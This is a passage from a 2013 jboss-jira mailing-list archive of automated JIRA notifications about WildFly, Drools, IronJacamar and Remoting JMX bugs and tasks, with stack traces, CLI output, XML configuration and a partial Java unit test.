>                 Key: WFLY-1623
>                 URL: https://issues.jboss.org/browse/WFLY-1623
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> What priviledges apply to a read-children-resources operation? The ones of the parent resource or the ones for each child resource?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:39:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1576) Trim information coming from
 read-resource-description
In-Reply-To: <JIRA.12494892.1371831432000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494892.1371831432000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494892.1371831432000.34469.1379565543518@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1576?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-1576:
--------------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)


Kabir, I believe this is done?
                
> Trim information coming from read-resource-description
> ------------------------------------------------------
>
>                 Key: WFLY-1576
>                 URL: https://issues.jboss.org/browse/WFLY-1576
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> 17:00 hbraun
> but the ability to reduce the payload size (removing unwanted meta data), would certainly be useful
> 17:01
> did you do a comparison how many bytes we added per attribute?
> 17:01 kkhan
> no?
> 17:02 hbraun
> me neither 
> 17:02 kkhan
> still we don't include operations by default
> 17:02
> we don't do recursive by default
> 17:02
> including the access-control runtime state will be configurable
> 17:02
> what else do you want to remove?
> 17:03 hbraun
> "nillable" => false ?
> 17:03
> storeage ?
> 17:03
> nillable=false: the boolean is false by default
> 17:03
> storage is not needed at all
> 17:03
> access-type is not needed at all (client side)
> 17:04
> "restart-required" is not needed so far
> 17:04 kkhan
> aha, so that is what you were talking about
> 17:04 hbraun
> yes
> 17:04 kkhan
> I think cli needs some of thos
> 17:04
> e
> 17:04 hbraun
> all that rubbish bloats the reponse payload size, w/o clients making actual use of that
> 17:05 kkhan
> ok, I'll keep that in mind but will do the real task first
> 17:05 hbraun
> well, we drive by a parameter: extended=true
> 17:05
> sure
> 17:05
> tnx
> 17:05 kkhan
> an additional parameter like trim-values=[storage,nillable,access-type] or something should do the job
> 17:06
> to read-resource-description
> 17:06 hbraun
> or we do simpe default and extended scopes
> 17:06
> two should suffice
> 17:06
> additional parsing of trim-values[] adds overhead as well
> 17:07 kkhan
> Not really in comparison to what goes on inside these ops
> 17:07 hbraun

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 01:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 01:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1933) Disabled data-source without
 explicit enabled="false" in configuration xml file is re-enabled again
 after server reload
In-Reply-To: <JIRA.12499254.1377246337000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499254.1377246337000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499254.1377246337000.34494.1379567463543@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1933?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805674#comment-12805674 ] 

RH Bugzilla Integration commented on WFLY-1933:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 952277|https://bugzilla.redhat.com/show_bug.cgi?id=952277] from POST to MODIFIED
                
> Disabled data-source without explicit enabled="false" in configuration xml file is re-enabled again after server reload
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1933
>                 URL: https://issues.jboss.org/browse/WFLY-1933
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The server automatically re-enables a data-source which was disabled before and which lost {{enabled="false"}} in the configuration XML file. 
> There is a discrepancy between the default value of the {{enabled}} attribute in XSD and the same attribute definition in org.jboss.as.connector.subsystems.datasources.Constants. From my POV any data-source that has been disabled before should stay in that state unless it is explicitly enabled again. See https://bugzilla.redhat.com/show_bug.cgi?id=952277 for a reproducer. 
> The culprit seems to be 
> {code:java|title=org.jboss.as.connector.subsystems.datasources.DsParser}
> ...
>     private void parseDataSource(final XMLExtendedStreamReader reader, final List<ModelNode> list, final ModelNode parentAddress) throws XMLStreamException, ParserException,
>             ValidateException {
> ...
> ==>        boolean enabled = Defaults.ENABLED.booleanValue();
> ...
>     private void parseXADataSource(XMLExtendedStreamReader reader, final List<ModelNode> list, final ModelNode parentAddress) throws XMLStreamException, ParserException,
>             ValidateException {
> ...
> ==>        boolean enabled = Defaults.ENABLED.booleanValue();
> ...
> {code}
> Though it looks like a bug, I am not sure we can change the default value in XSD for EAP.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 01:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 01:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1893) Restarting server with a
 disabled DS enables the DS
In-Reply-To: <JIRA.12498787.1376679198000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498787.1376679198000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498787.1376679198000.34500.1379567463913@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1893?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805675#comment-12805675 ] 

RH Bugzilla Integration commented on WFLY-1893:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 952277|https://bugzilla.redhat.com/show_bug.cgi?id=952277] from POST to MODIFIED
                
> Restarting server with a disabled DS enables the DS
> ---------------------------------------------------
>
>                 Key: WFLY-1893
>                 URL: https://issues.jboss.org/browse/WFLY-1893
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>            Reporter: Kabir Khan
>            Assignee: Stefano Maestri
>
> See https://issues.jboss.org/browse/WFLY-1874
> If you add a datasource with 
> subsystem=datasources/data-source=Test:add(jndi-name=java:/Test,jta=false,use-ccm=false,connection-url=url,driver-class=org.h2.Driver,driver-name=h2,user-name=user,password=pass,validate-on-match=false,background-validation=false,share-prepared-statements=false)
> it shows up as not enabled/undefined:
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=Test:read-resource{                                                                                                                                         "outcome" => "success",
>     "result" => {
> ...
>         "enabled" => false,
> {code}
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=Test:read-resource(include-defaults=false)
> {
>     "outcome" => "success",
>     "result" => {
> ...        "enabled" => undefined,
> {code}
> This is persisted as 
> {code}
>                <datasource jta="false" jndi-name="java:/Test" pool-name="Test" enabled="false" use-ccm="false">
>                     <connection-url>url</connection-url>
>                     <driver-class>org.h2.Driver</driver-class>
>                     <driver>h2</driver>
>                     <security>
>                         <user-name>user</user-name>
>                         <password>pass</password>
>                     </security>
>                     <validation>
>                         <validate-on-match>false</validate-on-match>
>                         <background-validation>false</background-validation>
>                     </validation>
>                     <statement>
>                         <share-prepared-statements>false</share-prepared-statements>
>                     </statement>
>                 </datasource>
> {code}
> Now if you stop and start the server again you end up with enabled=true.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 01:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 01:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.34503.1379567705641@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805676#comment-12805676 ] 

RH Bugzilla Integration commented on JBJCA-1083:
------------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1008763|https://bugzilla.redhat.com/show_bug.cgi?id=1008763] from POST to MODIFIED
                
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 01:17:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 01:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.34508.1379567823532@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805678#comment-12805678 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from POST to MODIFIED
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 01:17:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 01:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.34511.1379567823659@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805679#comment-12805679 ] 

RH Bugzilla Integration commented on REMJMX-72:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from POST to MODIFIED
                
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 02:52:03 2013
From: jira-events at lists.jboss.org (James Livingston (JIRA))
Date: Thu, 19 Sep 2013 02:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.34566.1379573523549@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805691#comment-12805691 ] 

James Livingston commented on WFLY-2093:
----------------------------------------

No, with the WildFly nightly it emits the warning (which is correct, since the boot logging and normal logging have different configuration) but the logging continues as expected.
                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 03:02:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 19 Sep 2013 03:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34591.1379574123598@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-195:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 03:02:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 19 Sep 2013 03:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34597.1379574123842@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-195.
--------------------------------

    Resolution: Done

    
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 03:15:03 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Thu, 19 Sep 2013 03:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2101) An exploded war inside an
 exploded ear is completely destroyed
In-Reply-To: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500873.1379455015000.34615.1379574903997@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805697#comment-12805697 ] 

Emmanuel Hugonnet commented on WFLY-2101:
-----------------------------------------

Sorry, could you be a little more explicit ?
What do you mean by write-protecting deployment ?
Could you provide a reproducer ? I've created an ear with an exploded war containing jars in the WEB-INF/lib and there is nothing not working. Do you have a reproducer ?

                
> An exploded war inside an exploded ear is completely destroyed 
> ---------------------------------------------------------------
>
>                 Key: WFLY-2101
>                 URL: https://issues.jboss.org/browse/WFLY-2101
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Emmanuel Hugonnet
>
> Fix for WFLY-2028 completely overwrites files in deployment:
> private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
>         if (war && !file.isFile()) {
>             File warContent = file.getPhysicalFile();
>             VFSUtils.recursiveCopy(file, warContent.getParentFile());
> if Write-protecting deployment, the following exception is thrown:
> 23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
> rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
> yments/mssms-ear.ear"]
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         ... 5 more
> Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
>         at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
>         at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
>         ... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 19 03:20:04 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Thu, 19 Sep 2013 03:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2101) An exploded war inside an
 exploded ear is completely destroyed
In-Reply-To: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500873.1379455015000.34631.1379575204079@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805697#comment-12805697 ] 

Emmanuel Hugonnet edited comment on WFLY-2101 at 9/19/13 3:18 AM:
------------------------------------------------------------------

Ok, I reproduce it with a JBoss Tools ear.

                
      was (Author: ehugonnet):
    Sorry, could you be a little more explicit ?
What do you mean by write-protecting deployment ?
Could you provide a reproducer ? I've created an ear with an exploded war containing jars in the WEB-INF/lib and there is nothing not working. Do you have a reproducer ?

                  
> An exploded war inside an exploded ear is completely destroyed 
> ---------------------------------------------------------------
>
>                 Key: WFLY-2101
>                 URL: https://issues.jboss.org/browse/WFLY-2101
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Emmanuel Hugonnet
>
> Fix for WFLY-2028 completely overwrites files in deployment:
> private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
>         if (war && !file.isFile()) {
>             File warContent = file.getPhysicalFile();
>             VFSUtils.recursiveCopy(file, warContent.getParentFile());
> if Write-protecting deployment, the following exception is thrown:
> 23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
> rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
> yments/mssms-ear.ear"]
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         ... 5 more
> Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
>         at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
>         at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
>         ... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 19 03:59:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 19 Sep 2013 03:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-267) DroolsExecuteProducer is
 loosing all Camel Exchange headers
In-Reply-To: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500970.1379547360000.34665.1379577543811@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-267?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-267:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> DroolsExecuteProducer is loosing all Camel Exchange headers
> -----------------------------------------------------------
>
>                 Key: DROOLS-267
>                 URL: https://issues.jboss.org/browse/DROOLS-267
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3,  6.0.0.CR4
>            Reporter: A Majewski
>            Assignee: Mario Fusco
>
> When using drools endpoint inside camel project the DroolsExecuteProducer is loosing all the Camel Exchange headers.
> Usually the InOut camel producers should be copy all In Exchange Headers to Out Exchange. Please refer to community discussion: https://community.jboss.org/message/837533#837533
> Additional tests casess in org.drools.camel.component.CamelEndpointTest class showing exact problem.
> {code}
> ...
> @Test
>     public void testNoSessionInsertWithHeaders() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>         Person person = new Person();
>         person.setName( "Mauricio" );
>         InsertObjectCommand cmd = (InsertObjectCommand) CommandFactory.newInsert( person,
>                                                                                   "salaboy" );
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
